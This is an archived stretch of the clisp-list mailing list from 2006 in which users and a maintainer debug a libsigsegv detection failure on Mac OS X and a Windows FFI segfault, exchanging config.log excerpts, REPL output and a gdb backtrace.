[clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 02:20:09 -0000 OK, I briefly searched the archives, and found a similar problem for Windows, but didn't see the solution for a Mac. Sorry. Please point me to the answer if I missed it. I'm trying to build clisp-2.39 on my Mac G5 under OS X 10.4.7 with Xcode-2.4 and the GNU readline-5.1. The ./configure script seems to defy finding libsigsegv.a regardless of its location. I've built libsigsegv-2.4 and done a "make install" which puts libsigsegv.a into /usr/local/lib and sigsegv.h into /usr/local/include. I checked the permissions and done a "nm", they seem ok. With clisp, when I try ./configure --with-libsigsegv-prefix=/usr/local, I repeatedly get the same error message about missing libsigsegv. I have also tried following the instructions for building libsigsegv locally to clisp and done ./configure --with-libsigsegv-prefix=${prefix} Where the prefix is --with-libsigsegv-prefix=/Tools/clisp-2.39/tools/powerpc-apple-darwin8.7.0 The results were the same: libsigsegv.a is still missing. How do I remedy this? I somehow did manage to build clisp-2.38 with libsigsegv=2.2 back in March. Any ideas? Thanks. Joe From sds@podval.org Mon Sep 04 20:24:39 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKRYE-00042z-Uv for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 20:24:38 -0700 Received: from mta1.srv.hcvlny.cv.net ([167.206.4.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKRYG-0003XD-Ge for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 20:24:42 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta1.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J530012AO72L3B5@mta1.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 23:25:51 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 621A021E090; Mon, 04 Sep 2006 23:24:28 -0400 (EDT) Date: Mon, 04 Sep 2006 23:24:28 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Joe Koski Mail-followup-to: clisp-list@lists.sourceforge.net, Joe Koski Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 03:24:39 -0000 > * Joe Koski [2006-09-04 20:20:00 -0600]: > > I'm trying to build clisp-2.39 on my Mac G5 under OS X 10.4.7 with Xcode-2.4 > and the GNU readline-5.1. The ./configure script seems to defy finding > libsigsegv.a regardless of its location. I've built libsigsegv-2.4 and done > a "make install" which puts libsigsegv.a into /usr/local/lib and sigsegv.h > into /usr/local/include. I checked the permissions and done a "nm", they > seem ok. > > With clisp, when I try ./configure --with-libsigsegv-prefix=/usr/local, I > repeatedly get the same error message about missing libsigsegv. config.log in your build directory should shed some light on the problem -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://memri.org http://palestinefacts.org http://mideasttruth.com http://iris.org.il http://ffii.org http://honestreporting.com http://pmw.org.il main(a){printf(a,34,a="main(a){printf(a,34,a=%c%s%c,34);}",34);} From kavenchuk@jenty.by Mon Sep 04 23:39:00 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKUaK-0003Bz-8y for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 23:39:00 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKUaM-0007H8-Ci for clisp-list@lists.sourceforge.net; Mon, 04 Sep 2006 23:39:03 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id RKX8XF13; Tue, 5 Sep 2006 09:42:18 +0300 Message-ID: <44FD1C0C.1030309@jenty.by> Date: Tue, 05 Sep 2006 09:41:16 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <44FC6DFD.2070309@tut.by> In-Reply-To: <44FC6DFD.2070309@tut.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 06:39:00 -0000 Oops... $ ./configure --with-mingw --with-readline --with-module=dirkey --with-module=pcre --with-module=rawsock --with-module=wildcard --with-module=zlib --with-module=bindings/win32 --with-libreadline-prefix=/usr/local --with-libtermcap-prefix=/usr/local --with-libpcre-prefix=/usr/local --build build-full ... ;; build-log: http://kavenchuk.googlepages.com/build.log $ cd build-full/ $ full/lisp.exe -M full/lispinit.mem --version GNU CLISP 2.39 (2006-07-16) (built 3366388079) (memory 3366388935) Software: GNU C 3.4.5 (mingw special) gcc -mno-cygwin -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a -L/usr/local/lib /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libiconv 1.11 libreadline 5.0 Features: (ZLIB WILDCARD RAWSOCK PCRE DIRKEY READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp readline dirkey pcre rawsock wildcard zlib) Installation directory: .\ User language: ENGLISH Machine: PC/386 (PC/686) home [127.0.0.1] $ full/lisp.exe -M full/lispinit.mem -norc ... [1]> (win32:GetStdHandle win32:STD_OUTPUT_HANDLE) *** - handle_fault error2 ! address = 0x2efb0053 not in [0x19d70000,0x19ede784) ! SIGSEGV cannot be cured. Fault address = 0x2efb0053. Permanently allocated: 92672 bytes. Currently in use: 2054932 bytes. Free space: 498400 bytes. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Sep 05 09:34:06 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKdsE-0008Qi-1t for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 09:34:06 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKdsD-0004Ke-Jx for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 09:34:06 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A6F45D900BE; Tue, 05 Sep 2006 12:33:56 -0400 Message-ID: <44FDA6F2.7060207@gnu.org> Date: Tue, 05 Sep 2006 12:33:54 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> In-Reply-To: <44FD1C0C.1030309@jenty.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 16:34:06 -0000 Yaroslav Kavenchuk wrote: > Oops... > > $ ./configure > --with-mingw --with-readline > --with-module=dirkey --with-module=pcre > --with-module=rawsock > --with-module=wildcard --with-module=zlib > --with-module=bindings/win32 > --with-libreadline-prefix=/usr/local > --with-libtermcap-prefix=/usr/local > --with-libpcre-prefix=/usr/local > --build build-full > ... > ;; build-log: http://kavenchuk.googlepages.com/build.log > > $ cd build-full/ > > $ full/lisp.exe -M full/lispinit.mem --version > GNU CLISP 2.39 (2006-07-16) (built 3366388079) (memory 3366388935) > Software: GNU C 3.4.5 (mingw special) > gcc -mno-cygwin -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 > -fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE > -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a -L/usr/local/lib > /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a > /usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 > -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv > SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS > SPVW_MIXED TRIVIALMAP_MEMORY > libsigsegv 2.4 > libiconv 1.11 > libreadline 5.0 > Features: > (ZLIB WILDCARD RAWSOCK PCRE DIRKEY READLINE REGEXP SYSCALLS I18N LOOP > COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS > GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE > BASE-CHAR=CHARACTER PC386 WIN32) > C Modules: (clisp i18n syscalls regexp readline dirkey pcre rawsock > wildcard zlib) > Installation directory: .\ > User language: ENGLISH > Machine: PC/386 (PC/686) home [127.0.0.1] > > $ full/lisp.exe -M full/lispinit.mem -norc > ... > [1]> (win32:GetStdHandle win32:STD_OUTPUT_HANDLE) > > *** - handle_fault error2 ! address = 0x2efb0053 not in > [0x19d70000,0x19ede784) ! > SIGSEGV cannot be cured. Fault address = 0x2efb0053. > Permanently allocated: 92672 bytes. > Currently in use: 2054932 bytes. > Free space: 498400 bytes. I no longer have access to woe32, so I cannot debug this. FFI appears to work for bindings/glibc/ as well as [22]> (def-call-out c-malloc (:arguments (l long)) (:name "malloc") (:language :stdc) (:return-type c-pointer) (:library :default)) C-MALLOC [23]> (c-malloc 10) # [24]> (c-malloc 10) # [25]> (c-malloc 10) # [26]> (c-malloc 10) # could you please try to debug this? thanks. Sam. From jkoski11@comcast.net Tue Sep 05 09:52:38 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKeAA-0001jl-1a for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 09:52:38 -0700 Received: from rwcrmhc11.comcast.net ([216.148.227.151]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKeA6-00018b-SE for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 09:52:38 -0700 Received: from [192.168.0.101] (c-68-35-95-225.hsd1.nm.comcast.net[68.35.95.225]) by comcast.net (rwcrmhc11) with SMTP id <20060905165224m1100q2qf0e>; Tue, 5 Sep 2006 16:52:24 +0000 User-Agent: Microsoft-Entourage/11.2.5.060620 Date: Tue, 05 Sep 2006 10:52:23 -0600 From: Joe Koski To: clisp list Message-ID: Thread-Topic: Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 Thread-Index: AcbRC6iX5vmQWDz+EduQywAKlbaO5g== In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Subject: Re: [clisp-list] Build problems for clisp-2.39 with Mac OS X 10.4.7 on a G5 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 16:52:38 -0000 on 9/4/06 9:24 PM, Sam Steingold at sds@podval.org wrote: >> * Joe Koski [2006-09-04 20:20:00 -0600]: >> >> I'm trying to build clisp-2.39 on my Mac G5 under OS X 10.4.7 with Xcode-2.4 >> and the GNU readline-5.1. The ./configure script seems to defy finding >> libsigsegv.a regardless of its location. I've built libsigsegv-2.4 and done >> a "make install" which puts libsigsegv.a into /usr/local/lib and sigsegv.h >> into /usr/local/include. I checked the permissions and done a "nm", they >> seem ok. >> >> With clisp, when I try ./configure --with-libsigsegv-prefix=/usr/local, I >> repeatedly get the same error message about missing libsigsegv. > > config.log in your build directory should shed some light on the problem Sam, Before I e-mailed and asked the question, I did search in my clisp-2.39 build for "sigsegv." and all I could find was the message "consider installing GNU libsigsegv". In my most recent config.log, the message occurs twice after configure --with-libsigsegv-prefix=/Tools/clisp-2.39/tools/powerpc-apple-darwin8.7.0 --cache-file=config.cache I get configure:8484: checking for libsigsegv configure:8541: result: no, consider installing GNU libsigsegv cl_cv_lib_sequent=no cl_cv_lib_sigsegv='no, consider installing GNU libsigsegv' cl_cv_lib_socket=no Like you, I was hoping for a clue. Is the underscore in lib_sigsegv significant? (Probably not, it also occurs for other libraries.) There are some testing errors reported in config.log, such as configure:2180: gcc -c -g -O2 conftest.c >&5 conftest.c:2: error: parse error before 'me' configure:2186: $? = 1 configure: failed program was: | #ifndef __cplusplus | choke me | #endif and configure:2505: gcc -E conftest.c conftest.c:9:28: error: ac_nonexistent.h: No such file or directory configure:2511: $? = 1 configure: failed program was: | /* confdefs.h. */ | | #define PACKAGE_NAME "GNU CLISP" | #define PACKAGE_TARNAME "clisp" | #define PACKAGE_VERSION "2.39 (2006-07-16)" | #define PACKAGE_STRING "GNU CLISP 2.39 (2006-07-16)" | #define PACKAGE_BUGREPORT "http://clisp.cons.org/" | /* end confdefs.h. */ | #include but configure seems to complete without problems, with no libsigsegv found. I can report all the errors or send the entire config.log off-list if someone wants to inspect it. Incidentally, the clisp-2.39 built without libsigsegv.a passes all the clisp and maxima tests. Thanks, and what next? Joe From kavenchuk@tut.by Tue Sep 05 12:18:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKgRj-0006qH-Ci for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:18:55 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKgRg-0004wl-El for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:18:55 -0700 Received: from [86.57.147.209] (account kavenchuk HELO [86.57.147.209]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 131715016; Tue, 05 Sep 2006 22:18:37 +0300 Message-ID: <44FDCC0C.5020806@tut.by> Date: Tue, 05 Sep 2006 22:12:12 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> In-Reply-To: <44FDA6F2.7060207@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:18:55 -0000 Sam Steingold wrote: > could you please try to debug this? > [1]> (use-package :ffi) T [2]> (def-call-out c-malloc (:arguments (l long)) (:name "malloc") (:language :stdc) (:return-type c-pointer) (:library :default)) C-MALLOC [3]> (c-malloc 10) # [4]> (c-malloc 10) # [5]> (c-malloc 10) # [6]> (c-malloc 10) # [7]> -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Sep 05 12:23:01 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKgVh-0007FS-BV for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:23:01 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKgVe-0005wu-Qt for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:23:01 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AE8A5CE00B4; Tue, 05 Sep 2006 15:22:50 -0400 Message-ID: <44FDCE87.3010606@gnu.org> Date: Tue, 05 Sep 2006 15:22:47 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 Newsgroups: gmane.lisp.clisp.general To: Yaroslav Kavenchuk References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> In-Reply-To: <44FDCC0C.5020806@tut.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:23:01 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> could you please try to debug this? >> > > [1]> (use-package :ffi) > T > [2]> (def-call-out c-malloc (:arguments (l long)) > (:name "malloc") (:language :stdc) (:return-type c-pointer) > (:library :default)) > C-MALLOC > [3]> (c-malloc 10) > # > [4]> (c-malloc 10) > # > [5]> (c-malloc 10) > # > [6]> (c-malloc 10) > # > [7]> ok - so why does the woe32 function crash? did it crash before the patch? could you please run this under gdb and report the backtrace? thanks. Sam. From lisp-clisp-list@m.gmane.org Tue Sep 05 12:23:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKgWZ-0007LK-IA for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:23:55 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GKgWY-0006Be-4q for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:23:55 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GKgW3-00011n-PZ for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 21:23:23 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Sep 2006 21:23:23 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 05 Sep 2006 21:23:23 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Tue, 05 Sep 2006 15:22:47 -0400 Lines: 27 Message-ID: <44FDCE87.3010606@gnu.org> References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: <44FDCC0C.5020806@tut.by> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:23:55 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: >> could you please try to debug this? >> > > [1]> (use-package :ffi) > T > [2]> (def-call-out c-malloc (:arguments (l long)) > (:name "malloc") (:language :stdc) (:return-type c-pointer) > (:library :default)) > C-MALLOC > [3]> (c-malloc 10) > # > [4]> (c-malloc 10) > # > [5]> (c-malloc 10) > # > [6]> (c-malloc 10) > # > [7]> ok - so why does the woe32 function crash? did it crash before the patch? could you please run this under gdb and report the backtrace? thanks. Sam. From kavenchuk@tut.by Tue Sep 05 12:31:24 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKgdo-00084N-69 for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:31:24 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKgdn-0007oP-Ob for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:31:24 -0700 Received: from [86.57.147.209] (account kavenchuk HELO [86.57.147.209]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 131721970; Tue, 05 Sep 2006 22:31:15 +0300 Message-ID: <44FDD084.7010105@tut.by> Date: Tue, 05 Sep 2006 22:31:16 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> In-Reply-To: <44FDCE87.3010606@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:31:24 -0000 Sam Steingold wrote: > ok - so why does the woe32 function crash? > did it crash before the patch? > could you please run this under gdb and report the backtrace? $ gdb --args lisp.exe -M lispinit.mem -norc GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-mingw32"... (gdb) run Starting program: C:\gnu\home\src\clisp\clisp\build-full\full/lisp.exe -M lispinit.mem -norc Program received signal SIGSEGV, Segmentation fault. 0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985 7985 BufferedStream_buffstart(stream) = 0; # delete buffstart (unnecessary) (gdb) backtrace #0 0x00464079 in closed_buffered (stream=0x19edd68d) at stream.d:7985 #1 0x0022fc08 in ?? () #2 0x0043c7e0 in loadmem_from_handle (handle=0x4f8058, filename=0x4f8084 "\024\020Q") at spvw_memfile.d:1622 #3 0x0043caf9 in loadmem (filename=0x4f8058 "\v\020Q") at spvw_memfile.d:922 #4 0x0043daf5 in init_memory (p=0x5b66c8) at spvw.d:2922 #5 0x0043df7a in main (argc=4, argv=0x3d4340) at spvw.d:3278 (gdb) -- WBR, Yaroslav Kavenchuk. From kavenchuk@tut.by Tue Sep 05 12:34:40 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKggy-0008K8-5u for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:34:40 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKggw-0008PK-PB for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:34:40 -0700 Received: from [86.57.147.209] (account kavenchuk HELO [86.57.147.209]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 131723958; Tue, 05 Sep 2006 22:34:26 +0300 Message-ID: <44FDD144.5030302@tut.by> Date: Tue, 05 Sep 2006 22:34:28 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <44FC6DFD.2070309@tut.by> <44FD1C0C.1030309@jenty.by> <44FDA6F2.7060207@gnu.org> <44FDCC0C.5020806@tut.by> <44FDCE87.3010606@gnu.org> In-Reply-To: <44FDCE87.3010606@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please test cvs head X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Sep 2006 19:34:40 -0000 Sam Steingold wrote: > did it crash before the patch? Original 2.39 not crash -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Sep 05 12:38:19 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GKgkU-0000E6-Pm for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:38:18 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GKgkT-0000pC-Dp for clisp-list@lists.sourceforge.net; Tue, 05 Sep 2006 12:38:18 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A22317A9009C; Tue, 05 Sep 2006 15:38:11 -0400 Message-ID: 